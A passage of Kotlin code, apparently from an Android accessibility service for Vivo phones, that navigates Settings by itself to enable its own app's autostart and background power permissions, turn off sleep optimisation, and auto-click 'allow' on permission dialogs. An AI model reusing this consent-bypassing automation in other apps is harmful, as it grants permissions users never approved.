                                            Log.d(TAG, "✅ 找到应用: $appName")
                                            
                                            // 节点存在的情况下，查找兄弟节点的switch
                                            val switchNode = findSwitchByOriginalAPK(appNode)
                                            if (switchNode != null) {
                                                Log.d(TAG, "✅ 找到应用对应的开关节点")
                                                
                                                // 首先判断开关状态
                                                val currentState = switchNode.isChecked
                                                Log.d(TAG, "🔍 自启动开关当前状态: ${if (currentState) "开启" else "关闭"}")
                                                
                                                if (currentState) {
                                                    Log.d(TAG, "✅ 自启动开关已开启，无需操作")
                                                    AutoSatrtApp = true
                                                } else {
                                                    Log.d(TAG, "🔧 自启动开关未开启，开始点击开启")
                                                    
                                                    // 点击开关开启自启动
                                                    val clickSuccess = executeClickByOriginalAPK(switchNode)
                                                    if (clickSuccess) {
                                                        Log.d(TAG, "✅ 自启动开关点击成功")
                                                        
                                                        // 等待状态更新并验证
                                                        performSegmentedDelay(500)
                                                        val newSwitchNode = findSwitchByOriginalAPK(appNode)
                                                        val newState = newSwitchNode?.isChecked ?: false
                                                        
                                                        if (newState) {
                                                            Log.d(TAG, "✅ 自启动开关状态验证成功，已开启")
                                                            AutoSatrtApp = true
                                                        } else {
                                                            Log.w(TAG, "⚠️ 自启动开关状态验证失败，仍为关闭")
                                                        }
                                                    } else {
                                                        Log.w(TAG, "❌ 自启动开关点击失败")
                                                    }
                                                }
                                            } else {
                                                Log.w(TAG, "❌ 未找到应用对应的开关节点")
                                            }
                                        } else {
                                            Log.w(TAG, "❌ 未找到应用: $appName")
                                        }

                                     }
                                 }
                             }
                         }

                     }
                 }
                completedRoutes.add("省电管理特殊权限")
            } else {
                failedRoutes.add("省电管理特殊权限")
            }

            // 无论成功与否都返回到APP
            returnToAppAndWaitVivo()
            success

        } catch (e: Exception) {
            Log.e(TAG, "❌ 省电管理特殊权限配置失败", e)
            failedRoutes.add("省电管理特殊权限")
            false
        }
    }

    // ======================== 辅助工作方法 ========================

    /**
     * ✅ 导航指定页面 (带滚动搜索）
     */
    private suspend fun navigateToTargetPage(targetText: String): Boolean {
        // 统一确保从设置首页开始
//        ensureOnSettingsHome()
        // ✅ 首先尝试直接搜索
        var textNode = findTextByOriginalAPK(targetText)
        if (textNode != null) {
            return executeClickByOriginalAPK(textNode)
        }

        // ✅ 如果没找到，尝试滚动搜索 (特别是在设置首页搜索"电池"）
        if (targetText == "电池" || targetText == "后台耗电管理") {
            Log.d(TAG, "🔄 [原APK策略] 开始在设置页面滚动搜索: $targetText")

            // 向下滚动3次搜索电池选项
            for (i in 1..3) {
                if (performScrollDown()) {
                    performSegmentedDelay(150)
                    textNode = findTextByOriginalAPK(targetText)
                    if (textNode != null) {
                        Log.d(TAG, "✅ [原APK策略] 滚动搜索成功找到: $targetText")
                        return executeClickByOriginalAPK(textNode)
                    }
                }
            }
        }

        Log.w(TAG, "⚠️ [原APK策略] 未找到导航目标: $targetText")
        return false
    }

    /**
     * ✅ 执行向下滚动
     */
    private fun performScrollDown(): Boolean {
        return try {
            val rootInActiveWindow = getStableRootInActiveWindow(service) ?: return false

            val scrollableNodes = listOf(
                "android.widget.ListView",
                "androidx.recyclerview.widget.RecyclerView",
                "android.widget.ScrollView"
            )

            // ✅ 查找可滚动节点并执行滚动
            for (className in scrollableNodes) {
                val nodes = findScrollableNodes(rootInActiveWindow, className)
                for (node in nodes) {
                    if (node.isScrollable) {
                        val success =
                            node.performAction(AccessibilityNodeInfo.ACTION_SCROLL_FORWARD)
                        if (success) {
                            Log.d(TAG, "✅ [原APK策略] 滚动成功: $className")
                            node.recycle()
                            return true
                        }
                    }
                    node.recycle()
                }
            }

            Log.w(TAG, "⚠️ [原APK策略] 未找到可滚动节点")
            false

        } catch (e: Exception) {
            Log.e(TAG, "❌ [原APK策略] 滚动失败", e)
            false
        }
    }

    /**
     * ✅ 执行向上滚动
     */
    private fun performScrollUp(): Boolean {
        return try {
            val rootInActiveWindow = getStableRootInActiveWindow(service) ?: return false

            val scrollableNodes = listOf(
                "android.widget.ListView",
                "androidx.recyclerview.widget.RecyclerView",
                "android.widget.ScrollView"
            )

            for (className in scrollableNodes) {
                val nodes = findScrollableNodes(rootInActiveWindow, className)
                for (node in nodes) {
                    if (node.isScrollable) {
                        val success =
                            node.performAction(AccessibilityNodeInfo.ACTION_SCROLL_BACKWARD)
                        if (success) {
                            Log.d(TAG, "✅ [原APK策略] 向上滚动成功: $className")
                            node.recycle()
                            return true
                        }
                    }
                    node.recycle()
                }
            }

            Log.w(TAG, "⚠️ [原APK策略] 未找到可向上滚动节点")
            false

        } catch (e: Exception) {
            Log.e(TAG, "❌ [原APK策略] 向上滚动失败", e)
            false
        }
    }

    /**
     * ✅ 执行向右滑动
     */
    private fun performSwipeRight(): Boolean {
        return try {
            Log.d(TAG, "🔄 [原APK策略] 开始向右滑动")
            
            val rootInActiveWindow = getStableRootInActiveWindow(service) ?: return false
            
            // 获取屏幕尺寸
            val dm = context.resources.displayMetrics
            val screenWidth = dm.widthPixels
            val screenHeight = dm.heightPixels
            val centerY = screenHeight / 2
            
            // 计算滑动起点和终点（从屏幕左侧1/4到右侧3/4）
            val startX = (screenWidth * 0.25f).toInt()  // 屏幕左侧1/4
            val endX = (screenWidth * 0.75f).toInt()   // 屏幕右侧3/4
            
            Log.d(TAG, "📐 屏幕尺寸: ${screenWidth}x${screenHeight}")
            Log.d(TAG, "🎯 滑动路径: 从($startX, $centerY)到($endX, $centerY)")
            
            // 执行手势滑动
            val success = performSwipeGesture(startX, centerY, endX, centerY)
            
            if (success) {
                Log.d(TAG, "✅ [原APK策略] 向右滑动成功")
            } else {
                Log.w(TAG, "❌ [原APK策略] 向右滑动失败")
            }
            
            success
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ [原APK策略] 向右滑动异常", e)
            false
        }
    }

    /**
     * ✅ 执行向左滑动
     */
    private fun performSwipeLeft(): Boolean {
        return try {
            Log.d(TAG, "🔄 [原APK策略] 开始向左滑动")
            
            val rootInActiveWindow = getStableRootInActiveWindow(service) ?: return false
            
            // 获取屏幕尺寸
            val dm = context.resources.displayMetrics
            val screenWidth = dm.widthPixels
            val screenHeight = dm.heightPixels
            val centerY = screenHeight / 2
            
            // 计算滑动起点和终点（从屏幕右侧3/4到左侧1/4）
            val startX = (screenWidth * 0.75f).toInt()  // 屏幕右侧3/4
            val endX = (screenWidth * 0.25f).toInt()    // 屏幕左侧1/4
            
            Log.d(TAG, "📐 屏幕尺寸: ${screenWidth}x${screenHeight}")
            Log.d(TAG, "🎯 滑动路径: 从($startX, $centerY)到($endX, $centerY)")
            
            // 执行手势滑动
            val success = performSwipeGesture(startX, centerY, endX, centerY)
            
            if (success) {
                Log.d(TAG, "✅ [原APK策略] 向左滑动成功")
            } else {
                Log.w(TAG, "❌ [原APK策略] 向左滑动失败")
            }
            
            success
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ [原APK策略] 向左滑动异常", e)
            false
        }
    }

    /**
     * ✅ 执行向上滑动
     */
    private fun performSwipeUp(): Boolean {
        return try {
            Log.d(TAG, "🔄 [原APK策略] 开始向上滑动")
            
            val rootInActiveWindow = getStableRootInActiveWindow(service) ?: return false
            
            // 获取屏幕尺寸
            val dm = context.resources.displayMetrics
            val screenWidth = dm.widthPixels
            val screenHeight = dm.heightPixels
            val centerX = screenWidth / 2
            
            // 计算滑动起点和终点（从屏幕下方3/4到上方1/4）
            val startY = (screenHeight * 0.75f).toInt()  // 屏幕下方3/4
            val endY = (screenHeight * 0.25f).toInt()   // 屏幕上方1/4
            
            Log.d(TAG, "📐 屏幕尺寸: ${screenWidth}x${screenHeight}")
            Log.d(TAG, "🎯 滑动路径: 从($centerX, $startY)到($centerX, $endY)")
            
            // 执行手势滑动
            val success = performSwipeGesture(centerX, startY, centerX, endY)
            
            if (success) {
                Log.d(TAG, "✅ [原APK策略] 向上滑动成功")
            } else {
                Log.w(TAG, "❌ [原APK策略] 向上滑动失败")
            }
            
            success
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ [原APK策略] 向上滑动异常", e)
            false
        }
    }

    /**
     * ✅ 执行向下滑动
     */
    private fun performSwipeDown(): Boolean {
        return try {
            Log.d(TAG, "🔄 [原APK策略] 开始向下滑动")
            
            val rootInActiveWindow = getStableRootInActiveWindow(service) ?: return false
            
            // 获取屏幕尺寸
            val dm = context.resources.displayMetrics
            val screenWidth = dm.widthPixels
            val screenHeight = dm.heightPixels
            val centerX = screenWidth / 2
            
            // 计算滑动起点和终点（从屏幕上方1/4到下方3/4）
            val startY = (screenHeight * 0.25f).toInt()  // 屏幕上方1/4
            val endY = (screenHeight * 0.75f).toInt()    // 屏幕下方3/4
            
            Log.d(TAG, "📐 屏幕尺寸: ${screenWidth}x${screenHeight}")
            Log.d(TAG, "🎯 滑动路径: 从($centerX, $startY)到($centerX, $endY)")
            
            // 执行手势滑动
            val success = performSwipeGesture(centerX, startY, centerX, endY)
            
            if (success) {
                Log.d(TAG, "✅ [原APK策略] 向下滑动成功")
            } else {
                Log.w(TAG, "❌ [原APK策略] 向下滑动失败")
            }
            
            success
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ [原APK策略] 向下滑动异常", e)
            false
        }
    }

    /**
     * ✅ 执行手势滑动（通用方法）
     */
    private fun performSwipeGesture(startX: Int, startY: Int, endX: Int, endY: Int): Boolean {
        return try {
            val builder = android.accessibilityservice.GestureDescription.Builder()
            val path = android.graphics.Path()
            
            // 设置滑动路径
            path.moveTo(startX.toFloat(), startY.toFloat())
            path.lineTo(endX.toFloat(), endY.toFloat())
            
            // 创建手势描述（持续时间500ms）
            val stroke = android.accessibilityservice.GestureDescription.StrokeDescription(path, 0, 500)
            builder.addStroke(stroke)
            
            // 执行手势
            val gesture = builder.build()
            val success = service.dispatchGesture(gesture, null, null)
            
            if (success) {
                Log.d(TAG, "✅ 手势滑动执行成功: 从($startX, $startY)到($endX, $endY)")
                // 等待手势完成
                Thread.sleep(600)
            } else {
                Log.w(TAG, "❌ 手势滑动执行失败")
            }
            
            success
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 执行手势滑动异常", e)
            false
        }
    }


    /**
     * ✅ 后台耗电管理：打开设置 -> 电池 -> 后台耗电管理 -> 选中本应用 -> 允许后台高耗电
     */
    private suspend fun executeBackgroundHighPowerPermission(
        completedRoutes: MutableList<String>,
        failedRoutes: MutableList<String>
    ): Boolean {
        Log.i(TAG, "🔧 开始后台耗电管理权限配置")

        return try {
            // 1) 确保在设置首页
            ensureOnSettingsHome()

            // 2) 导航到 电池
            if (!navigateToTargetPage("电池")) {
                Log.w(TAG, "⚠️ 导航到 电池 失败")
                failedRoutes.add("后台耗电管理")
                return false
            }
//            performSegmentedDelay(300)
            performScrollDown() // 向下滑倒一下

            // 3) 导航到 后台耗电管理（兼容多种命名）
            val powerTexts = listOf(
                "后台耗电管理",
                "后台耗电管理",
                "后台耗电管理",
                "后台耗电管理",
                "后台耗电管理"
            )
            var reached = false
            for (label in powerTexts) {
                performSegmentedDelay(100)
                if (navigateToTargetPage(label)) {
                    Log.d(TAG, "✅ 进入页面: $label")

                    reached = true
                    break
                }

            }
            if (!reached) {
                Log.w(TAG, "⚠️ 未能进入 后台耗电管理 页面")
                failedRoutes.add("后台耗电管理")
                return false
            }
            performSegmentedDelay(300)

            // 4) 找到我们的应用并点击
            val pm = context.packageManager
            val appName = try {
                pm.getApplicationLabel(context.applicationInfo).toString()
            } catch (_: Exception) {
                context.packageName
            }
            Log.d(TAG, "🔎 查找应用: $appName")
            var appNode = findTextByOriginalAPK(appName)
            if (appNode == null) {
                for (i in 1..15) {
                    performScrollDown()
//                    if (!performScrollDown()) break
                    performSegmentedDelay(300)
                    appNode = findTextByOriginalAPK(appName)
                    Log.d(TAG, "🔎 第$i 次翻页后查找应用: ${appNode != null}")
                    if (appNode != null) break
                }
            }
            if (appNode == null) {
                Log.w(TAG, "❌ 未找到应用: $appName")
                failedRoutes.add("后台耗电管理")
                return false
            }
            if (!executeClickByOriginalAPK(appNode)) {
                Log.w(TAG, "❌ 点击应用失败: $appName")
                failedRoutes.add("后台耗电管理")
                return false
            }
//            performSegmentedDelay(400)

            // 5) 在详情页点击 允许后台高耗电（直接文本点击）
//            val allowTexts = listOf("允许后台高耗电")
//            var toggled = false
//            for (label in allowTexts) {
//                var target = findTextByOriginalAPK(label)
//                if (target == null) {
//                    for (i in 1..5) {
//
//                        performSegmentedDelay(50)
//                        target = findTextByOriginalAPK(label)
//                        if (target != null) break
//                    }
//                }
//                if (target == null) continue
//                Log.d(TAG, "🎯 点击文本: $label")
//                toggled = executeClickByOriginalAPK(target)
//                if (toggled) break
//            }
//
//            if (!toggled) {
//                Log.w(TAG, "❌ 未能切换 允许后台高耗电 开关")
//                failedRoutes.add("后台耗电管理")
//                return false
//            }

            val allowTexts = listOf(
                "允许后台高耗电",
                "允许后台高耗电",
                "允许后台高耗电",
                "允许后台高耗电",
                "允许后台高耗电",
                "允许后台高耗电",
                "允许后台高耗电",
                "允许后台高耗电",
                "允许后台高耗电",
                "允许后台高耗电"
            )

            for (label in allowTexts) {
                performSegmentedDelay(50)
                if (navigateToTargetPage(label)) {
                    Log.d(TAG, "✅ 进入页面: $label")


                    break
                } else {
                    Log.d(TAG, "✅ 进入页面: $label 失败")
                }

            }


            completedRoutes.add("后台耗电管理")
            service.performGlobalAction(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_BACK)
            performSegmentedDelay(100)
            service.performGlobalAction(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_BACK)
            performSegmentedDelay(100)
            service.performGlobalAction(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_BACK)
            performSegmentedDelay(100)
            service.performGlobalAction(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_BACK)



            Log.i(TAG, "✅ 后台耗电管理 配置成功")
            // 完成后立即回到APP
            returnToAppAndWaitVivo()
            true

        } catch (e: Exception) {
            Log.e(TAG, "❌ 后台耗电管理 配置失败", e)
            failedRoutes.add("后台耗电管理")
            false
        }
    }


    /**
     * ✅ 判断是否为设置包
     */
    private fun isSettingsPackage(pkg: CharSequence?): Boolean {
        if (pkg == null) return false
        val p = pkg.toString()
        return p == "com.android.settings" || p == "com.vivo.settings" || p == "com.android.permissioncontroller"
    }

    /**
     * ✅ 判断是否为设置首页：通过关键字（至少匹配到2个）
     */
    private fun isSettingsHomeByKeywords(): Boolean {
        // 先尝试上滑一下，避免停留在页面底部导致关键词不可见
        try {
            val rootForScroll = getStableRootInActiveWindow(service)
            if (rootForScroll != null) {
                try {
                    performScrollUp()
                } catch (_: Exception) {
                }
            }
        } catch (_: Exception) {
        }

        val keywords = listOf(
            "飞行模式",
            "WLAN",
            "蓝牙",
            "移动网络",
            "更多连接",
            "通知与状态栏",
            "声音与振动",
            "应用",
            "电池",
            "安全"
        )
        // 连续检测5次，每次间隔50ms，任何一次命中≥2个关键词即判定为首页
        for (attempt in 1..20) {
            val currentRoot = getStableRootInActiveWindow(service)
            if (currentRoot != null) {
                var matched = 0
                for (kw in keywords) {
                    try {
                        val nodes = currentRoot.findAccessibilityNodeInfosByText(kw)
                        if (!nodes.isNullOrEmpty()) matched++
                        if (matched >= 2) return true
                    } catch (_: Exception) {
                    }
                }
            }
            try {
                Thread.sleep(50)
            } catch (_: Exception) {
            }
        }
        return false
    }

    /**
     * ✅ 确保当前在设置首页：
     * 1) 若不在设置 → 打开设置
     * 2) 若在设置子页面 → 连续返回至首页
     */
    private suspend fun ensureOnSettingsHome(): Boolean {
        // Step 1: 如果不在设置，直接打开
        var root = getStableRootInActiveWindow(service)
        if (!isSettingsPackage(root?.packageName)) {
            Log.d(TAG, "ℹ️ 不在设置页面，尝试打开设置应用")
            val intent = Intent(android.provider.Settings.ACTION_SETTINGS).apply {
                flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP
            }
            context.startActivity(intent)
            performSegmentedDelay(500)
            root = getStableRootInActiveWindow(service)
        }

        // Step 2: 如果在设置但不是首页，退回到首页
        if (isSettingsPackage(root?.packageName) && !isSettingsHomeByKeywords()) {
            Log.d(TAG, "ℹ️ 当前为设置子页面，准备返回至首页")
            for (i in 1..5) {
                service.performGlobalAction(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_BACK)
                performSegmentedDelay(300)
                val r = getStableRootInActiveWindow(service)
                if (isSettingsPackage(r?.packageName) && isSettingsHomeByKeywords()) {
                    Log.d(TAG, "✅ 已回到设置首页")
                    return true
                }
                // 若返回后跳出设置，重新进入
                if (!isSettingsPackage(r?.packageName)) {
                    Log.d(TAG, "ℹ️ 返回后不在设置，重新打开设置应用")
                    val intent = Intent(android.provider.Settings.ACTION_SETTINGS).apply {
                        flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP
                    }
                    context.startActivity(intent)
                    performSegmentedDelay(600)
                }
            }
        }

        // Step 3: 最终校验
        val finalRoot = getStableRootInActiveWindow(service)
        val ok = isSettingsPackage(finalRoot?.packageName) && isSettingsHomeByKeywords()
        Log.d(TAG, if (ok) "✅ 已在设置首页" else "❌ 未能定位到设置首页")
        return ok
    }

    /**
     * ✅ 查找指定类名的可滚动节点
     */
    private fun findScrollableNodes(
        root: AccessibilityNodeInfo,
        targetClassName: String
    ): List<AccessibilityNodeInfo> {
        val result = mutableListOf<AccessibilityNodeInfo>()

        fun searchNode(node: AccessibilityNodeInfo?) {
            if (node == null) return

            if (node.className == targetClassName && node.isScrollable) {
                result.add(node)
            }

            for (i in 0 until node.childCount) {
                searchNode(node.getChild(i))
            }
        }

        searchNode(root)
        return result
    }

    /**
     * ✅ 导航到权限页面
     */
    private suspend fun navigateToPermissionPage(): Boolean {
        return navigateToTargetPage("权限")
    }

    /**
     * ✅ 处理权限开关 - 带状态检测版本，三次检测确保操作成功
     */
    private suspend fun handlePermissionSwitchDirect(
        textLabel: String,
        switchName: String
    ): Boolean {
        return try {
            Log.d(TAG, "🔧 处理权限开关: $switchName")

            // ✅ 调试信息：检查当前页面状态
            val rootInActiveWindow = getStableRootInActiveWindow(service)
            Log.d(TAG, "🔍 [调试] 当前页面包名: ${rootInActiveWindow?.packageName}")
            Log.d(TAG, "🔍 [调试] 当前页面类名: ${rootInActiveWindow?.className}")

            // ✅ 查找文本节点 (原APK策略)
            Log.d(TAG, "🔍 [调试] 开始搜索文本: $textLabel")
            val textNode = findTextByOriginalAPK(textLabel)
            if (textNode == null) {
                Log.w(TAG, "❌ [调试] 未找到文本节点: $textLabel")
                return false
            }
            Log.d(TAG, "✅ [调试] 找到文本节点: $textLabel")

            // ✅ 查找开关节点 (原APK策略)
            Log.d(TAG, "🔍 [调试] 开始搜索开关节点")
            val switchNode = findSwitchByOriginalAPK(textNode)
            if (switchNode == null) {
                Log.w(TAG, "❌ [调试] 未找到开关节点")
                return false
            }
            Log.d(TAG, "✅ [调试] 找到开关节点: ${switchNode.className}")

            // ✅ 检查开关当前状态
            val currentState = switchNode.isChecked
            Log.d(TAG, "🔍 [调试] $switchName 当前状态: ${if (currentState) "开启" else "关闭"}")

            // ✅ 如果已经是开启状态，直接返回成功
            if (currentState) {
                Log.d(TAG, "✅ $switchName 已开启，无需操作")
                return true
            }

            // ✅ 执行点击操作
            Log.d(TAG, "🔧 坐标点击开关开启 $switchName")
            val rect = Rect()
            switchNode.getBoundsInScreen(rect)
            val clickSuccess = if (!rect.isEmpty) {
                Log.d(
                    TAG,
                    "📍 开关矩形: left=${rect.left}, top=${rect.top}, right=${rect.right}, bottom=${rect.bottom}"
                )
                Log.d(TAG, "🎯 点击坐标: x=${rect.centerX()}, y=${rect.centerY()}")
                simpleCoordinateClick(rect.centerX(), rect.centerY())
            } else false

            if (!clickSuccess) {
                Log.w(TAG, "❌ $switchName 点击失败")
                return false

            }

            Log.d(TAG, "✅ $switchName 点击成功，开始三次状态检测")

            // ✅ 三次状态检测确保操作成功
            var successCount = 0
            for (attempt in 1..3) {
                Log.d(TAG, "🔍 [状态检测] 第${attempt}次检测 $switchName 状态...")
                
                // 等待状态更新
//                performSegmentedDelay(200)
                
                // 重新查找节点并检查状态
                for  (attempts in 1..20){
                    val newTextNode = findTextByOriginalAPK(textLabel)
                    val newSwitchNode = newTextNode?.let { findSwitchByOriginalAPK(it) }
                    val newState = newSwitchNode?.isChecked ?: false
                    if (newState){
                        break;
                    }

                        performSegmentedDelay(50)


                }
                val newTextNode = findTextByOriginalAPK(textLabel)
                val newSwitchNode = newTextNode?.let { findSwitchByOriginalAPK(it) }
                val newState = newSwitchNode?.isChecked ?: false

                Log.d(TAG, "🔍 [状态检测] 第${attempt}次检测结果: ${if (newState) "开启" else "关闭"}")
                
                if (newState) {
                    successCount++
                    Log.d(TAG, "✅ [状态检测] 第${attempt}次检测成功")
                    break
                } else {
                    Log.d(TAG, "⚠️ [状态检测] 第${attempt}次检测失败，状态仍为关闭")
                    
                    // 如果状态检测失败，尝试重新点击
                    if (attempt < 3) {
                        Log.d(TAG, "🔄 [状态检测] 尝试重新点击开关")
                        val retryRect = Rect()
                        newSwitchNode?.getBoundsInScreen(retryRect)
                        if (!retryRect.isEmpty) {
                            simpleCoordinateClick(retryRect.centerX(), retryRect.centerY())
                            Log.d(TAG, "🔄 [状态检测] 重新点击完成")
                        }
                    }
                }
            }

            val finalSuccess = successCount >= 1 // 三次检测中至少2次成功
            Log.d(TAG, "🔍 [状态检测] 最终结果: 成功${successCount}/3次, 最终状态: ${if (finalSuccess) "成功" else "失败"}")

            if (finalSuccess) {
                Log.d(TAG, "✅ $switchName 状态检测通过")
                if (textLabel == "自启动"){
                    AutoSatrtApp = true
                }
//                if (textLabel == "自启动" || textLabel == "后台弹出界面" || textLabel == "悬浮窗" || textLabel == "锁屏显示") {
                    Log.d(TAG, "🔧 $switchName 操作完成，直接返回上一页")
                    // 指定版本延长休眠（等于判断）
                    if (IS_ANDROID_13) {
                        Log.d(TAG, "⏳ Android 13 指定版本，延长休眠: 400ms")
                        performSegmentedDelay(400)
                    } else {
                        performSegmentedDelay(100)
                    }
                    service.performGlobalAction(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_BACK)
                    returnToAppAndWaitVivo()
//                }
                return true
            } else {
                Log.w(TAG, "❌ $switchName 状态检测失败，三次检测中成功次数不足")
                return false
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理权限开关失败: $switchName", e)
            false
        }
    }

    /**
     * ✅ 处理运行时权限 (作为开关处理）
     */
    private suspend fun handleRuntimePermissionSwitch(
        textLabel: String,
        switchName: String
    ): Boolean {
        return try {
            Log.d(TAG, "🔧 处理运行时权限: $switchName")

            // ✅ 查找文本节点对应的开关 (原原APK策略）
            val textNode = findTextByOriginalAPK(textLabel) ?: return false

            // ✅ 查找开关节点 (原APK策略)
            val switchNode = findSwitchByOriginalAPK(textNode) ?: return false

            // ✅ 状态检查 (原APK策略)
            val isCurrentOn = switchNode.isChecked
            Log.d(TAG, "🔍 $switchName 当前状态: ${if (isCurrentOn) "开启" else "关闭"}")

            // ✅ 设置为开启状态 (权限需要开启）
            if (!isCurrentOn) {
                val clickSuccess = executeClickByOriginalAPK(switchNode)
                performSegmentedDelay(500)

                Log.d(
                    TAG,
                    "🔍 $switchName 操作结果: ${if (clickSuccess) "成功开启" else "开启失败"}"
                )
                return clickSuccess
            } else {
                Log.d(TAG, "✅ $switchName 已开启，满足要求")
                return true
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理运行时权限失败: $switchName", e)
            false
        }
    }

    /**
     * ✅ 处理特殊权限开关 - 判断状态，只有开启时才关闭
     */
    private suspend fun handleSpecialPermissionSwitch(
        textLabel: String,
        switchName: String
    ): Boolean {
        return try {
            Log.d(TAG, "🔧 处理特殊权限: $switchName")

            // ✅ 查找文本节点
            val textNode = findTextByOriginalAPK(textLabel) ?: return false

            // ✅ 查找开关节点
            val switchNode = findSwitchByOriginalAPK(textNode) ?: return false

            // ✅ 检查当前状态
            val isCurrentlyOn = switchNode.isChecked
            Log.d(TAG, "🔍 $switchName 当前状态: ${if (isCurrentlyOn) "开启" else "关闭"}")

            if (!isCurrentlyOn) {
                Log.d(TAG, "✅ $switchName 已关闭，无需操作")
                return true
            }

            Log.d(TAG, "🔧 需要关闭 $switchName")

            // ✅ 坐标点击关闭（更稳定）+ 重试校验：若仍为开启则重试，最多3次，每次间隔150ms
            var attempt = 0
            var closed = false
            while (attempt < 3 && !closed) {
                attempt++
                val rect = Rect()
                switchNode.getBoundsInScreen(rect)
                if (!rect.isEmpty) {
                    Log.d(
                        TAG,
                        "📍 特殊权限开关矩形: left=${rect.left}, top=${rect.top}, right=${rect.right}, bottom=${rect.bottom}"
                    )
                    Log.d(TAG, "🎯 特殊权限点击坐标: x=${rect.centerX()}, y=${rect.centerY()}")
                    simpleCoordinateClick(rect.centerX(), rect.centerY())
                } else {
                    Log.w(TAG, "⚠️ 开关矩形为空，放弃点击")
                    break
                }
                for (retry in 1..5) {
                    performSegmentedDelay(100)
                    closed = checkSwitchStateByOriginalAPK(textLabel, 0)
                    if (closed){
                        break
                    }
                    Log.d(TAG, "🔁 第${attempt}次校验结果: ${if (closed) "已关闭" else "仍为开启"}")
                }

            }

            Log.d(TAG, "🔍 $switchName 操作结果: ${if (closed) "成功关闭" else "关闭失败"}")

            if (closed) {
                if (textLabel.contains("睡眠待机优化")) {
                    handleSleepOptimizationDialog()
                }
                return true
            }

            false

        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理特殊权限失败: $switchName", e)
            false
        }
    }

    /**
     * ✅ 处理睡眠待机优化弹框
     */
    private suspend fun handleSleepOptimizationDialog(): Boolean {
        return try {
            Log.d(TAG, "🔧 处理睡眠待机优化弹框")
            performSegmentedDelay(1000)

            // ✅ 查找关闭相关按钮 (原APK策略）
            val dialogButtons = listOf("关闭", "耗电异常优化", "不优化")

            for (buttonText in dialogButtons) {
                val textNode = findTextByOriginalAPK(buttonText)
                if (textNode != null) {
                    val clickSuccess = executeClickByOriginalAPK(textNode)
                    if (clickSuccess) {
                        Log.d(TAG, "✅ 成功点击弹框按钮: $buttonText")
                        performSegmentedDelay(500)
                        return true
                    }
                }
            }

            Log.w(TAG, "⚠️ 未找到可点击的弹框按钮")
            false

        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理睡眠待机优化弹框失败", e)
            false
        }
    }

    /**
     * ✅ 处理权限弹框 (基于原APK r.java策略） - 增强版
     * 检测并点击"允许"按钮，多次重试
     */
    private suspend fun handlePermissionDialog(): Boolean {
        return try {
            Log.d(TAG, "🔍 [原APK策略] 检测权限弹框...")

            // ✅ 多次尝试检测弹框
            for (retry in 1..10) {
                Log.d(TAG, "🔍 [原APK策略] 第$retry 次检测弹框...")
                performSegmentedDelay(50) // 等待弹框出现

                val tmpRoot = getStableRootInActiveWindow(service)
                if (tmpRoot == null) {
                    Log.d(TAG, "⚠️ 第$retry 次检测：root为空，跳过")
                    continue
                }
                val rootInActiveWindow = tmpRoot

                // ✅ 原APK策略：搜索多种可能的文本
                val targetTexts = listOf("允许", "确定", "确认")

                for (targetText in targetTexts) {
                    val buttons = try {
                        val res = rootInActiveWindow.findAccessibilityNodeInfosByText(targetText)
                        Log.d(TAG, "🔎 关键字[$targetText] 匹配到节点数: ${res?.size ?: 0}")
                        res
                    } catch (e: Exception) {
                        Log.e(TAG, "❌ [原APK策略] 搜索$targetText 按钮异常", e)
                        continue
                    }

                    // ✅ 找到按钮并进行点击
                    for (button in buttons) {
                        val txt = button.text?.toString() ?: ""
                        val desc = button.contentDescription?.toString() ?: ""
                        val cls = button.className?.toString() ?: ""
                        Log.d(
                            TAG,
                            "🧩 节点: text='$txt', desc='$desc', class='$cls', clickable=${button.isClickable}, visible=${button.isVisibleToUser}"
                        )
                        if (button.isClickable && (txt.contains(targetText) || desc.contains(
                                targetText
                            ))
                        ) {
                            Log.d(TAG, "🔍 [原APK策略] 找到可点击的$targetText 按钮，尝试点击")
                            val clickSuccess =
                                button.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                            Log.d(
                                TAG,
                                if (clickSuccess) "✅ 点击$targetText 成功" else "❌ 点击$targetText 失败"
                            )
                            if (clickSuccess) {
                                button.recycle()
                                performSegmentedDelay(500) // 等待弹框关闭
                                return true
                            }
                        }
                        button.recycle()
                    }
                }
            }

            Log.d(TAG, "⚠️ [原APK策略] 未找到权限弹框或允许按钮：已重试10次")
            false

        } catch (e: Exception) {
            Log.e(TAG, "❌ [原APK策略] 处理权限弹框失败", e)
            false
        }
    }

    /**
     * ✅ 关联启动权限专用弹框处理 (基于原APK策略)
     * 关联启动点击后会出现警告弹框，需要点击"允许"
     */
    private suspend fun handleAssociationStartDialog(): Boolean {
        return try {
            Log.d(TAG, "🔍 [原APK策略] 检测关联启动权限弹框...")

            val rootInActiveWindow = getStableRootInActiveWindow(service) ?: return false

            // ✅ 原APK策略：搜索关联启动特有的弹框文本
            val associationStartTexts = listOf("允许", "确定", "确认", "我知道了")

            for (targetText in associationStartTexts) {
                val buttons = try {
                    rootInActiveWindow.findAccessibilityNodeInfosByText(targetText)
                } catch (e: Exception) {
                    Log.e(TAG, "❌ [原APK策略] 搜索$targetText 按钮异常", e)
                    continue
                }

                for (button in buttons) {
                    // ✅ 双重验证：可点击 + 文本精确匹配
                    if (button.isClickable &&
                        button.text?.toString()?.trim()?.contains(targetText) == true
                    ) {

                        // ✅ 检查按钮是否在可见区域内
                        if (button.isVisibleToUser) {
                            Log.d(TAG, "🔍 [原APK策略] 找到关联启动可点击的$targetText 按钮")
                            val clickSuccess =
                                button.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                            if (clickSuccess) {
